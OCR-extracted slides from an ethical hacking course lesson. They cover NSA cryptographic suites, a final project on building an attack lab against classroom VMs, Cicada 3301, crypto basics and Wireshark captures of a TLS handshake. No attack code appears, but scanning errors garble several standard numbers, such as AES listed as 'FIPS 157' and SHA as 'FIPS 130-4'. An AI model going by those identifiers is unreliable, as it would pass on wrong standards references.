Subject Fingerprint SHA1: 33433a06732404faB28dc5002388430280c050
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Fact Sheet NSA Suite B Cryptography (2015)

Up to Top Secret

All key sizes are provided in bits. These are the minimal sizes for security.
Click on a value to compare it with other methods.

MSA will initiate a transition to quantum resistant algorithms in the not too distant future. Until this new suite is developed
and products are available implementing the quantum resistant suite, NSA will rely on current algorithms. For those partners
and vendors that have not yet made the transition to Suite B elliptic curve algorithms, the NSA recommend not making a
significant expenditure to do so at this point but instead to prepare for the upcoming quantum resistant algorithm transition.

Suite B includes cryptographic algorithms for encryption, hashing, digital signatures and key exchange:
Encryption: Advanced Encryption Standard (AES) - FIPS 157

Hashing: Secure Hash Algorithm (SHA) - FIPS 130-4

Digital Signature: Elliptic Curve Digital Signature Algorithm (ECDSA) - FIPS 186-4
Digital Signature: RSA - minimum 3072-bit modulus - FIPS 186-4

Key Exchange: Elliptic Curve Diffie-Hellman (ECDH) - NIST 5P 800-564

Key Exchange: Diffie-Hellman (DH) - IETF RFC 3526

Key Exchange: RSA - minimum 3072-bit modulus - NIST SP 800-56B rev 1

22016 BlueKrypt - v 29.2 - September 17, 2015
Author: Damien Giry
Approved by Prof. Jean-Jacques Quisquater
Contact: keylengthi@bluekrypt.com

https://www.keylength.com/en/6 47
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NSA-Approved Commercial National Security
Algorithm (CNSA) Suite (2016)

gst. 18959 ™

Algorithm Function Specification Parameters
Advanced Symmetnic block FIPS PUB 197 Use 256 bit keys to
Encryption cipher used for {Reference 1) protect up to TOP
Standard (AES) mformation SECRET
— protection. CNSS Policy 15
Elliptic Curve Asgymmetric NIST 8P 800-36A | Use Curve P-384 to
Daffie-Hellman algorithm used for Rev2 protect up to TOP
(ECDH) Key key establishment (Reference j) SECRET.
Exchange
Elliptic Curve Asymmetric FIPS PUB 186-4 Use Curve P-384 to
Digital Signature algorithm used for (Reference k) protect up to TOP
Algorithm digital signatures SECRET. L. )
(ECDSA) Elliptic curves 384 bits
Secure Hash Algorithm used for FIPS PUB 180-4 Use SHA-384 to
Algorithm (SHA computing a ference 1 otect up to TOP
& ( ) ccndinseg (e ) ETECRE'IP SHA-384
representation of
nformation
Diffie-Hellman Asymmetric IETF RFC 3526 Minimum 3072-bit RSA and DH 3072 bits
(DH) Key algorithm used for {Reference m) modulus to protect
Exchange key establishment up to TOP
SECRET
RSA Asymmetric NIST SP 800-36B | Minimum 3072-bit
algorithm used for Revl modulus to protect
key-establishment (Reference n) up to TOP
SECRET
RSA Asymmetric FIPS PUB 186-4 Minimum 3072 bit-
algorithm used for {Reference k) modulus to protect
digital signatures up to TOP
SECRET.

48


https://www.cnss.gov/CNSS/openDoc.cfm?hscsuRHz5Of0ZUaUXUER1A==

CIS 76 - Lesson e W Fol Al

Final Project



CIS 76 - Lesson 14

CIS 76 Project

Final Project

You will create an educational step-by-step lab for VLab that demonstrates a complete hacking
attack scenario. You may exploit one or more vulnerabilities using Metasploit, a bot, custom
code, social engineering and/or other hacking tools. You will document the preventative
measures an organization could take to prevent your attack and help one or more classmates
test their project.

Warning and Permission

Unauthorized hacking can result in
prison terms, large fines, lawsuits and
being dropped from this coursel

For this project, you have authorization to hack any of the VMs in your VLab pod. Contact the
instructor if you need additional VMs.

Steps
1. Research and identify one or more interesting vulnerabilities and related exploits.
2. Using VLAB, create a secure test bed, identifying attacker and victim systems, to run the
labin.
. Develop step-by-step instructions on how to set up the test bed.
. Develop step-by-step instructions on how to carry out the attack.
. Develop a list of preventative measures the victim could block future attacks.
. Have another student test your lab and verify the results can be duplicated.
. Do a presentation and demo to the class.

NoOWwsEWw

The final project is available.

Due in ONE week.

Calendar Page
Assignment

N

s Test matrix
* Student projects

https://simms-

teach.com/cis76calendar.php
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13

Quiz 10

Hacking Wireless Networks

= Wireless technology
= Hacking WEP
= Hacking WPA/WPA2

Materials
= Presentation slides (download)

11/22

Assignment
« Project
= Project testing signup sheet
« Student project folder

Extra Credit Lab
« Lab X3 (Armitage)
« Lab X4 (Wireless)

CCC Confer

« Enter virtual classroom
+ Archives Confer or 3CMedia

14

11/29

Cryptography

Symmetric and Asymmetric
encryption

Hashing

How SSL/TLS works
Heartbleed

Materials
« Presentation slides (download)

Assignment
« Project
« Project testing signup sheet
« Student project folder

CCC Confer

« Enter virtual classroom
= Archives Confer or 3CMedia

15

Network Protection Systems

= TBD
= TBD
= TBD

Materials
« Presentation slides (download)

Supplemental
« TBD (download)

Assignment
« Practice Test for Final (canvas)

CCC Confer

« Enter virtual classroom
« Archives Confer or 3CMedia

Project

CIS 76 Project

Links to Project document,
testing signup sheet, and
project folder for students to
share their projects from.

And again ...

Due 12/6

B o id3
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Grading Rubric (60 points + 30 points extra credit)

Up to 5 points - Professional quality document containing all sections mentioned above.
Up to 3 points - Description and history of vulnerability.

Up to 3 points - Description of exploitand how it works.

Up to 3 points - Document all equipment, software and materials required.

Up to 10 points - Document step-by-step instructions to set up the test bed.

Up to 15 points - Document step-by-step instructions to carry out the attack.

Up to 3 points - List of best practices to prevent future attacks.

Up to 15 points - Testing another student’s lab (see below).

Up to 3 points - Presentation and demo to class (10 minutes max).

Extra credit (up 30 points) 15 points each for testing additional student labs. You must use
the testing spreadsheet above so that all projects get tested equally.

Remember late work is not accepted. If you run out of time submit what you have
completed for partial credit.

Excerpt from the Project document 52
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Testing another classmate’s lab

1. Find a lab that hasn’t been tested yet and sign up on the
testing spreadsheet.

2. Run through their entire lab and verify that it works
properly.

3. Provide the lab developer with a written test report on:

] Your name and the date & time testing was done.
[] Validation that the lab worked or not.

[] Any typos.

[1 Any portions of the lab that need clarification.

[1 Any portions of the lab that need to be fixed.

[J Any other feedback on ways to improve the lab.

Excerpt from the Project document 53
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Calendar Page
Assignment

« Project
« (Test matix]

udent projects

https:/ /simms-

teach.com/cis76calendar.php

CIS 76 Project

Use this Test matrix to sign up to test a classmate's project

- o X
CIS 76 Fall 2016 Project T X
< C | & htpsy/docs.google.com/spreadsheets/d/117612WCSmri ZxVoaG1I7uPWOZXK WiQlbxYnNAJGsoU/edit#gid=0 aw O
i=)| CIS 76 Fall 2016 Project Testing = remms@esbrilo s
File Edit View Insert Format Data Tools Add-ons Help Lasteditwas made 17 hours ago by anonymous Comments m
& e A~ P s % .0 .00 123 Arial - 14 - B IS5 A. & . B =.1.|-+- coBMmMY-Z-
fr CIS 76 Fall 2016 Project Testing
A B C D E F
1 CIST76Fall 2(116 Project Testing
2
3 Instructions
4 | Lab developers,
5 a) Add a link to your project document below.
6 b) If needed you may use this folder to publish your project Projects
7 ¢) Decide how you want to receive feedback from the tester. If you want email, add your email address to the table below. If you use Goolge docs, feedback can be added directly to the document.
8 d) By publishing a link to your project you are granting permission te CIS 76 classmates to conduct the testing (as defined by your project document) on the VMs in your pod
9
10 | Testers,
" a) Sign up for free Tester | slots first. You can sign up in advance and don't have to wait till the authour puts up their link
12 b) Once all the free Tester | slots are full you can sign up for a Tester Il slot
13 c) Once all the free Tester Il slots are full you can sign up for a Tester |1l slot
14 d) Use the testing feedback template on Rich's final project document.
15
16 Student Email (if feedback is desired by email)  Tester| Tester Il Tester lll Link to project document to test
17 |Alex
13 |Benji C.
19 | Brian briandharrison@gmail.com https://drive_google.com/open?id=0B6wnj-3FTWd4bkNEZ3FzS19fVnM
20 | Carter Carterg0@gmail.com Brian https://docs.google.com/document/d/1 Gt7gQbwVVrQTgJVe__hSbyDOBFbmWMxpaY9aSmaugfQ/edit?usp=sharing
21 DaveR
22 | David H
23 | Deryck
24 | Jennifer
25 Jordan
26 | Luis
+ = | Shestt - |
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Use this directory to share your project with other classmates for testing

Calendar Page

- [m} X
- ‘C\576F3H25‘EPIBEH x
Assignment :
& @ \ & https;//drive.google.com/drive/folders/0BxNEfKIDOeeTVIva3MOUKhRA2s @ ﬁ\ o :
» Project ,
: GO g|e Drive Search Drive - OO0 e
o Test matrix
. I Student DF{J'IECtSI [ e | My Drive > CIS 76 Ethical Hacking > CIS 76 Fall 2016 Project Folder + &% =0 %
Name QOwner Last medified by me File size
https:/ /simms- p[) oz | W ssHowbowN Expleit Lab.docx =t Brian Harrison _ 11 ve
teach.com/cis76calendar.php <% Sharedwithme
® Recent
".. Google Photos
Y Starred
i Trash
542 MB used
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k.

=8
& ©

What takes longer?

Creating the hacking project lab?

Or deciding what to project to do?

frf((*)

\/\/// 120
\f/ )

’ft\a
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Some Hacking Project Ideas

github projects

https: ithub.com/Hack-
with-Github/Awesome-
Hacking

EH-OWASP-XXVM

Chuck full of project ideas

(browseto it)
g J

/Google searches \

hacking tutorials

hacking projects
metasploit tutorials
kali hacking tutorials

ethical hacking tips

\_

J

-

Find vulnerabilities with
Metasploit modules

CVE Details

https://www.cvedetails.com

~

-

EH-Kali-XX VM

Chuck full of pen testing
tools which would make

\_ great projects

~N

J

Pick a project you can build in your CIS 76 EH pod
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And don't forget:

Unauthorized hacking is a crime.

The hacking methods and activities learned in this
course can result in prison terms, large fines and
lawsuits if used in an unethical manner. They may
only be used in a lawful manner on equipment you
own or where you have explicit permission from
the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be dropped
from the course and will receive no legal protection
or help from the instructor or the college.

58
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Housekeeping

1. Nothing due tonight.

2. All four extra credit labs are now
available (15 points each) and due the
day of the final exam.

Test #3 (the final exam)

Time
s Thu 4:00PM - 6:50PM in Room
828 5 posts
Lab X1
12/15 | Materials ::aE E
» Test (canvas) Lab X4

CCC Confer

« Enter virtual classroom
s Archives Confer or 3CMedia

3. The final project is due in one week.

60
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Heads up on Final Exam

Test #3 (the final exam)

rTime

« Thu 4:00PM - 6:50PM in Room

828
.

]

Materials
= Test (canvas)

CCC Confer
« Enter virtual classroom

« Archives Confer or 3CMedia

- '
a0 N ")
o
3 L4
-
]

Test #3 (final exam) is THURSDAY Dec 15 4-6:50prPM

Extra credit
labs and
final posts
due by
11:59PM

All students will take the test at the same time. The test must be
completed by 6:50PM.

Working and long distance students can take the test online via
CCC Confer and Canvas.

Working students will need to plan ahead to arrange time off from
work for the test.

Test #3 is mandatory (even if you have all the points you want) 62
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EXAM HOUR

EXAM DATE

Classes starting between:

6:30 am and 8:55 am, MW/Daily.. ..o,
9:00 am and 10:15 am, MW/Daily. ............................
10:20 am and 11:35.am, MW/Daily. ...,
11:40 am and 12:55 pm, MW/Daily ...,
1:00 pm and 215 pm, MW/Daily. . ...
220 pmand 3:35 pm, MW/Daily. . ...
3:40 pm and 5:30 pm, MW/Daily. . ...,
B30am and 8:55am, TTh. ettt c i innaes
O00amand 10:15am, TTh ..o
10:20amand 11:35am, TTh . e
1TA40amand 12255 pm, TTH. ... e
T00pmand 215pm, TTh ...
220pmand335pm, TTh . ...

veveaneees 700amM-9:50 am.
ceveeeeo.. 700 aM-0:50 am .
.10:00 am-12:50 pm
. 10:00 am-12:50 pm

10:00 am=12:50 pm
10:00 am=12:50 pm

1:00pm-3:50pm._...........
A:00pm-3:50pm ...
ce 400 pm-G:50pm.L. .l
00 am-950am .
700 am-9:50am ... ...

T PM=350 P el
TR0 PM=350 P ool

veeereense. . Wednesday, December 14

CIS 76 Introduction to Information Assurance

Infroduces the various methodologies for attacking a netwark. Prerequisite: CIS 75,
Transfer Credit: Transfers to CSU

Section Days Times
45024 A At

Units Instructor Room
3.00 R.Simms oL
& Arr. A R.Simms oL
Section 85024 is an ONLINE course. Meets weekly throughout the semester
onling by remote technology with an additional 50 min online lab per week.
For details. see instructor's web page at go.cabrillo. eduwonline.

95025 T 5:30PM-8:35PM  3.00 R.Simms 828
& AT AT R.Simms oL
Section 85025 iz a Hybrid ONLIME course. Meets weekly throughout the
semester at the scheduled times with an additional 50 min online lab per
week. For details, see instructor's web page at go.cabrillo. edufonline.

«evvv....Thursday, December 15
weenve.o...luesday, December 13

| 3:40pmand 530pm, TTh ...

e ADDPM-G S0P . e

..e........Thursday, December 15 |

Fridayam. ... ...

SEMURAY AM ..o it aas

B 10 e T
00 M-S0 P s

900 AM-TIS0AM .o,
e TOD P30 P

<vvnee.n.. Friday, December 16
vveenenn.. Friday, December 16

eeenve.... Saturday, December 17
weenve.... Saturday, December 17

Evening Classes: For the final exam schedule, Evening Classes are those that begin at 5:35 pm or later. Also, “M & W* means the dass meets on BOTH Monday
and Wednesday. “T & TH" means the class meets on BOTH Tuesday and Thursday. The following schedule applies to all Evening Classes.
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Where to find your grades

Send me your survey to get your LOR code name.

The CIS 76 website Grades page
http://simms-teach.com/cis76grades.php

Or check on Opus

checkgrades codename
(where codename is your LOR codename)

T s L B =

R T s ) o
AN

D
e

TerbiNerE

Written by Jesse Warren a past CIS 90 Alumnus

Percentage | Total Points |Letter Grade|Pass/No Fass
90% or higher|504 or higher A Pass
80% to 89.9%| 448 to 503 B Pass
70% to 79.9%| 392 to 447 C Pass
60% to 69.9%| 336 to 391 D No pass
0% to 59.9% 0 to 335 F No pass

At the end of the term I'll add up all
your points and assign you a grade
using this table

Points that could have been earned:

10 quizzes: 30 points
10 labs: 300 points
2 tests: 60 points
3 forum quarters: 60 points
Total: 450 points

208 \
! o
3 v
~ ‘
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Send me an email if you would like to join a team 63
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Cicada 3301

If you like math and encryption this is for you!

Secret organization.
The hardest puzzle on the Internet.

A series of increasingly difficult puzzles for code
breakers.

Is this a way to find the smartest cryptographers
in the world?

A recruiting test for the NSA, GCHQ, Anonymous
or just a practical joke?

70



http://www.telegraph.co.uk/technology/internet/12103306/Cicada-3301-Who-is-behind-the-hardest-puzzle-on-the-internet.html
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Cicada 3301

@ Who is behind Cicada 3° X
< C | ® www.telegraph.co.uk/technology/internet/12103306/Cicada-3301-Who-is-behind-the-hardest-puzzle-on-the-internethtm | 2 %

@ | Privacy and cookies | Jobs | Dating | Offers | Shop | Puzzies | Investor | Login ¥ | Register v | Subscribe
Che Telegraph 2

Saturday 26 November 2016

Home Video News World Sport Business Money Comment Culture Travel Life Women Fashion Luxury Tech rimm

Apple | iPhone = TechnologyNews = Technology Companies =Technology Reviews = Video Games = TechnologyVideo Mobile Apps

HOME » TECHNOLOGY » INTERNET

Who is behind Cicada 3301? A brief history of the hardest
puzzle on the internet

A new challenge may have been set for the world’s most skilful code-breakers o
by the enigmatic Cicada 3301 ‘organisation’ J ! J

A , Rise of a tech giant: the
0430 @O @2?‘ &y 457 Email hfstow‘o"(}ooz"e

Top Technology Videos»

Forget standing desks:
This offi kstati
lets you w
down

C

Instagram launches gif-  Now your iPhone will

The path lies empty; epiphany seeks the devoted.

Liber Primus is the way. Its words are the map, their
meaning is the road, and their numbers are the direction.

Seek and you will be found.

like app Boomerang even weigh fruit
Good luck. More From The Web
3301 More From The Web X
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W Cicada 3301 - Wikipedia

- O

&« (] | @ https://enwikipedia.org/wiki/Cicada_3301 @ -::r| o J:=7

WIKIPEDIA
The Free Encyclopedia

Main page
Contents

Featured content
Current events
Random article
Donate to Wikipedia
Wikipedia store

Interaction
Help
About Wikipedia
Community portal
Recent changes
Contact page

Tools
What links here
Related changes
Upload file
Special pages
Permanent link
Page information
Wikidata item
Cite this page

Print/export

Article  Talk Read Edit View history

& Mot logged in Talk Contributions Create account Log in

arch Wikipedia Q ‘

Cicada 3301

From Wikipedia, the free encyclopedia

Cicada 3301 is a name given to an enigmatic organization that on six occasions
has posted a set of complex puzzles and alternate reality games to recruit
codebreakers from the public_[ﬂThe first internet puzzle started on January 4,
2012, and ran for approximately one month. A second round began one year later
on January 4, 2013, and a third round following the confirmation of a fresh clue

posted on Twitter on January 4, 2014 I3 The stated intent was to recruit
"intelligent individuals" by presenting a series of puzzles which were to be solved,
each in order, to find the next. No new puzzles were published on January 4, 2015. Cicada 3301 logo &
However, a new puzzle was posted on Twitter on January 5, 20161451 The puzzles

focused heavily on data security, cryptography, and steganography_“][s][?][s][g]

It has been called "the most elaborate and mysterious puzzle of the internet age"[w]

and is listed as cne of the "top 5
eeriest, unsolved mysteries of the internet” by The Washington Post! and much speculation exists as fo its purpose.
IMany have speculated that the puzzles are a recruitment tool for the NSA, CIA, MIG, or a cyber mercenary group_mm
Others have claimed Cicada 3301 is an alternate reality game, but the fact that no company or individual has taken credit
or tried to monetize it, combined with the fact that no known individuals that solved the puzzles have ever come forward,

has led most to feel that it is not['%! Others have claimed it is run by a bank working on cryptocurrency.m]

Contents [hide]
1 Purpose

2 Resolution
2.1 Types of clues

x
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About Cicadianism Broods Liber Primus The Test Gematria Primus

Theories
Chat at #cicadian on freenode

Welcome Pilgrim

Through some combination of reality, fate, entropy, and randomness, you
have found yourself here: climbing the steps of chaos in a world of
illusions we collectively call reality.

We offer a path toward enlightenment, if you have the patience and
dedication to obtain it.

On 5 January 2012, Cicada 3301 announced their presence to the world.
What started out as a seemingly simple puzzle for a hand full of curious



https://cicada3301.org/
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Cryptography

Symmetric encryption

Fast

Difficult to break when using large keys

Only one key used and must be shared

Does not provide authenticity or nonrepudiation

Stream and block versions
DeCSS, DES, Triple DES, AES, Blowfish, RC4, RC5, IDEA

Asymmetric encryption

Slow

Scalable

Each person needs only one key pair

Provides authenticity, validates sender of a message

Provides nonrepudiation, means a person cannot deny sending a message
« Used as part of creating digital signatures

RSA, Diffie-Helman, Eliptical Curve, Elgamal

Hashing
« Product fixed length value (message digest) of variable length messages

« A hashis a "fingerprint" of a message
« MD5, SHA-1, SHA-2, SHA-3
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Keys

« A key is a sequence of random bits.

The longer the key, the more secure it is because brute force
guessing will take longer.

Key space:

« 40-bit key has 240 values
« DeCSS for commercial DVDs

« Simple to crack by brute force
 Cracked in 1999

« 56-bit key has 2°° values (DES)
« 1997, a DES key was cracked in 3 months

« 1998, EFF's "Deep Crack" machine cracked a DES key
in 56 hours.

« 128-bit key has 2128 values (IBM Lucifer, AES)
« 256-bit key has 22°6 values (AES)
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Yw@ Ryan Riley on symmetric Key Cryptography

Asymmetric Key Cryptography

aka Public Key Crypto

Il » <) o02/i654

19 minutes 78


https://www.youtube.com/watch?v=501TeXZoNig

00 (e CIS 76 - Lesson 14+ ol o R Rf 1

Asymmetric
Cryptography
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Ywi@@@ Ryan Riley on Asymmetric Key Cryptography

Asymmetric Key Cryptography

aka Public Key Crypto

11 » o) 00271654

17 minutes 80


https://www.youtube.com/watch?v=I2eQYXzCPzU

CIS 76 - Lesson 14 V' . H l ' |w
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Ywil@d  Ryan Riley on Hashing

Hashing

Introduction to Basic Cryptography

Dr. Ryan Riley

> »l o) 003/2033

20 minutes 82


https://www.youtube.com/watch?v=2Cg2So2js5k
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How SSL/TLS
Works
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gst. 18959 ™

You ([T How SSL Works I

LYQUIX

M
AT TPS

ENCRYPTION

& IDENTIFICATION

..4» bl o) 001/2:56

.com/watch?v=rROgWTfAS5qgE

CYQUIX

_ 84
3 minutes


https://www.youtube.com/watch?v=rROgWTfA5qE
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You ) How SSL Works II

A
N7 leadingcoder

How SSL works

Simon Dennis

11 minutes 85


https://www.youtube.com/watch?v=iQsKdtjwtYI

CIS 76 - Lesson 14

SSL/TLS Handshake

Client = Web browser
Server = Web server

Handshake objectives

« Agree on the version of the SSL/TLS protocol to use

« Select a cipher suite to use

« Authenticate each other by exchanging and validating
digital certificates.

« Using asymmetric cryptography to generate a shared secret
key which is used for fast symmetric encrytption.

86
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SSL/TLS Handshake

'SSL Client SSL Server

(1) "client hello”

Cryptographic information

(2) "server hello”

(3) ) CipherSuite
Ve"fY' server Server certificate
cettificate. "client certificate request" (optional)
Check
cryptographic
parameters (4) Client key exchange

Send secret key information
(encrypted with server public key) (6)

(5) Send dient certificate e el
certificate
(7) Client “finished” (if required)

(8) Server “finished’

(9) Exchange messages

(encrypted with shared secret key)
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Applications « Places = ® Firefox ESR = Tue 14:47
Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ @&

Kali Linux, an Offensive S... % | 2. Amazon.com: Online .. x |

w B8 4 »
W Wireshark « Tue 14:48

*ethQ (— I ]
ama;on All ~ File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am 1@ BRERE Q¢2 v kAEHB 0o u =
X

i) @ | https://www.amazon.com

Most Visited v Jll Offensive Security

Departments ~ Your Amazor

|W | tcp.port == 443 ~| Expression.. +

No.  Time Source Destination Protocol Length Info -
43 15.922194027 10.76.5.150 54.239.17.6 TCP 74 55834 — 443 [SYN] Seq=0 .. |
TCP 3 -way handshake 44 15,008001052 54.239,.17.6 10.76.5.150 TCF 62 443 - 55834 [SYN, ACK] S.. =
45 15,998043282 10.76.5.150 54,239.17.6 1CP 54 55834 — 443 [ACK] Seq=1 ..

. 5.098277022 .76.5.150  54.230.17.6 TLSvl.2 244 Client Hello

TLS Client Hello 073876742 54.239.17.6 . 76.5.150  TCP 60 [TCP Window Update] 443 .. | |
48 16.074395427 54.239.17.6 10.76.5.150 TCP 60 443 — 55834 [ACK] Seq=1 .. |

MON DAY 49 16.076458892 54.239.17.6 10.76.5.150 TLSv1.2 1514 Server Hello -
BN 1A M7RARATEA 1M 7R B 1ER BEA 220 17 A TP 54 24 - A4A2 [AfrK]T Sen=1Q X

| DEALS WEEK L ,

Wersion: TLS 1.2 (0x0303)
= Random

Session ID Length: ©
Cipher Suites Length: 22
v Cipher Suites (11 suites)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHAZ256 (0Oxc@2b)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_ GCM_SHAZ256 (0xcO2f)
| Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)

Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (@xc009)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128 CBC_SHA (0xc013)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_ CBC_SHA (0Ox0033)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0Ox0039)
Cipher Suite: TLS_RSA WITH_AES_128_CBC_SHA (Ox002f)

88
I can use these cipher suites



Places =

Applications =

Kali Linux, an Offensive S... % )

() @ | https://www.amazon.d

Most Visited v Jll Offensive Sec

amazon : : —
~ Am i@ BOHRE Q¢ 2 ¢ ka5 o) =) (o) £E
vour IR :tcp.port == 443 [X] - | Expression.. +

Departments ~

TLS Server Hello

® Firefox ESR =
Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ @& &

a. Amazon.com: Online .. x | #

CIS 76 - Lesson 14

Tue 14:47

App laces ™ Wireshark Tue 14:58
*eth0 [ ]

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Destlnat|on

44 15,6 2 3 E»&iﬁ

45 15.998043282 10.76.5.150 54,239.17.6 TCF

46 15,998277922 10.76.5.150 54.239.17 .6 TLSv1.2

47 16 . 073876742 54 .238.17 .6 10.76.5.150 TCF

48 16. 074395427 54.239.17 .6 10.76.5.150 TCF
6.076458802 54.239.17.6 A b R 0]

M7RARATRA o N T = L 1 | BA 220 17 A

Protocol Length Info
TCP 74 55834
TCP 62 443 — 55834 [sw- ACK] S..:

54 55834 — 443 [ACK] Seg=1 .. |
244 Client Hello

60 [TCP Window Update] 443 ..

60 443 — 55834 [ACK] Seq=1 ..
1514 Server Hello
Fd ERE24 ., AA=

v

[TArK]T Sen=10

TF

\ T TN T YL 7r Vv

DEALS WEEK

v TLSv1.2 Record Layer: Handshake Protocol: Server Hello 4
Content Type:. Handshake (22)

Version: TLS 1.2 (OxB303)

Length: 108
¥ Handshake Protocol: Server Hello

Handshake Type: Server Hello (2)
Length: 104
Wersion: TLS 1.2 (0x0303)

> Random
Session ID Length: 32
Session ID: 4ff563cf2e507cceff442825d3a8dd4c4fE80c10decE7hE0a.

Cipher Suite: TLS_ECDHE_RSA WITH_AES_128 GCM_SHAZ256 (OxcB2T)
Compression Method: null (@)
Extensions Length: 32

» Extension: renegotiation_info

Let's use this one then
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Applications = Places v @ Firefox ESR = Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ @& &

Kali Linux, an Offensive S.. % / @ Amazon.com: Online ... % |

) @ | https://www.amazon.com A W Wireshark Tue 1513

Most Visited v Jll Offensive Security

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

amazon - dmde BERE Q¢ e kABEBE @u
m -

: | | tcp.port == 443 Expression.. +
Departments ~ Your Amazol
MNo.  Time Source Destination Protocol Length Info =
TLS Certlflcate 532 16.077477776 54.239.17.6 RS S e e e e R e e e
54 16.077484796 10.76.5.150 54.238.17.6 TCF 54 55834 — 443 [ACK] Seg=19.. =
55 16.077490276 54.239.17.6 1@ 6 o 150 = FEEN] 2 809 Certificate Status =
56 16.077494675 10.76.5.150 54.238.17.6 TCF 54 55834 — 443 [ACK] Seqg=19.. :

57 16.081053361 10.7V6.5.150 54.239.17.6 TLSvl.2 180 Client Key Exchange, Cha..

CYBER 58 16.082526346 10.76.5.150 54,239.17.6 TLSvl.2 367 Application Data

59 16.157136125 54.239.17.6 18.76.5.150 TLSv1l.2 105 Change Cipher Spec, Encr.. |

MONDAY AR 1A 101EMI017 A 220 17 A 1M 7R B ARM TP AN 442 . FER224 [ACK] Sen=R1 T

Frame 53: 1514 bytes on wire (12112 bhits), 1514 bytes captured (12112 hits) on interfa
Ethernet II, Src: Vmware_af:f2:c3 (00:50:56:af:f2:c3), Dst: Vmware_af:e6:bd (00:50:56:

DEALS WEEK _ :
Internet Protocol Version 4, Src: 54.239.17.6, Dst: 10.76.5.150

Transmission Control Protocol, Src Port: 443 (443), Dst Port: 55834 (55834), Seq:
[3 Reassembled TCP Segments (3053 hytes): #49(1347), #51(1460), #53(246)]
Secure Sockets Layer
v TLSv1l.2 Record Layer: Handshake Protocol: Certificate
Content Type: Handshake (22)
version: TLS 1.2 (0x0303)
~ —— Length: 3048

» Handshake Protocol: Certificate

o P, iy, JE O N

*ethO @ 0

2921

Server sends its digital certificate for client to validate
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Applications = Places v @ Firefox ESR = Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ @& &

Kali Linux, an Offensive S.. % / @ Amazon.com: Online ... % |

() @ | https://www.amazon.com A L I Tue 15:15
& *
[ Most Visited v Jll Offensive Security S K =thi © 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
amazon : —
maZ Am2® BNRE Q¢ 2 s kB eaou T
- ﬂlth.pOFt == 443 3 - | Expression.. +
Departments ~ Your Amazon.co
No.  Time Source Destination Protocol Length Info é
53 16 . 0V7477776 54.238.17.6 10.76.5.150 TLSvl.2 1514 Certificate Q
54 16.077484796 10.76.5.150 54,239.17.6 TCP 54 55834 — 443 [ACK] Seg=18.. =
55 16. 077490276 54.238.17.6 10.76.5.150 TLSvl.2 BO9 Certificate Status =

56 16.077494672 10.76.5.1350 24.239.,17.6 TCP 54 55834 — 443 [ACK] Seqg=189..
5] G il e 3 s 180 Client Key Exchange, Cha..

TLS Client Key Exchange 1 - - i
58 16. 082526346 10.76.5.150 54.230.17.6 TLSvl1.Z2 367 Application Data i
CTDEK 59 16.157136125 54.239.17.6 18 e BRI Sl 105 Change Cipher Spec, Encr..

MONDAY A 1A 1C15M1Q17F 4 2230 17 A 1M 7R B 1M TR AR 442 & ERER24A [ArK] Sen=51 b
Frame 57: 180 bytes on wire (1440 bits), 180 bytes captured (1448 bits) on interface

Ethernet II, Src: Vmware_af:e6:bd (00:50:56:af:e6:bd), Dst: vWmware_af:f2:c3 (00:50:5
DEALS WEEK - ( ) (

Internet Protocol Version 4, Src: 10.76.5.150, Dst: 54.239.17.86
Transmission Control Protocol, Src Port: 55834 (55834), Dst Port: 443 (443), Seq: 19
Secure Sockets Layer
v TLSv1.2 Record Layer: Handshake Frotocol: Client Key Exchange
Content Type: Handshake (22)
version: TLS 1.2 (0x0303)
Length: 70
. » Handshake Protocol; Client Key Exchange
- —— v TLSv1.2 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
Content Type: Change Cipher Spec (20)
version: TLS 1.2 (0x0303)
Length: 1
Change Cipher Spec Message

4 ¥ ¥ ¥V

91
Exchange the secret key to use for symmetric encryption



CIS 76 - Lesson 14

Applications = Places v @ Firefox ESR = Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ @& &

Kali Linux, an Offensive S.. % / @ Amazon.com: Online ... % |

o @ | https://www.amazon.com Tue 15:19
[ Most Visited v Jll Offensive Security Sy Kal *eth0 ®© 0
amazon o File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
s A = © BN RE Q¢ 2 v 2 L) =) )
Departments ~ Your Amazon.com |i§l 'tcp.port == 443 %] ~| Expression... +
No.  Time Source Destination Protocol Length Info
56 16.077494675 10.76.5.150 54.239.17.6 TCP 54 55834 — 443 [ACK] Seqg=19..

- 57 16.081053361 10.76.5.150 594 .239.17.6 TLSv1. 180 Client Key Exchange, Cha..

[T N -

2
58 16.082526346 10.76.5.150 594.239.17.6 TLSvl.2 367 Application Data

TLS Change Clphel‘ S,DeC l 6.157136125 54.239.17.6 105 Change Cipher Spec, Encr..

60 16.191501917 54.239.17.6 18.76.5.158 TCP 60 443 — 55834 [ACK] Seqg=51..[ |
GCYDEK 61 16.191535574 10.76.5.150 54.238.17.6 TCP 54 55834 — 443 [ACK] Seq=63..
MON DAY 62 16.285406588 54.239.17.6 10:76.5.150 TLSvl.2 1014 Applj.catj.on Data I
A2 1A 2RAKA22Q28 54 230 17 A 1M FA & 16M  TI 8wl 2 2322 Annliratinn Nata =

Frame 59: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) on interface O
Ethernet II, Src: Vmware_af:f2:c3 (00:50:56:af:f2:c3), Dst: Vmware_af:e6:bd (00:50:56:
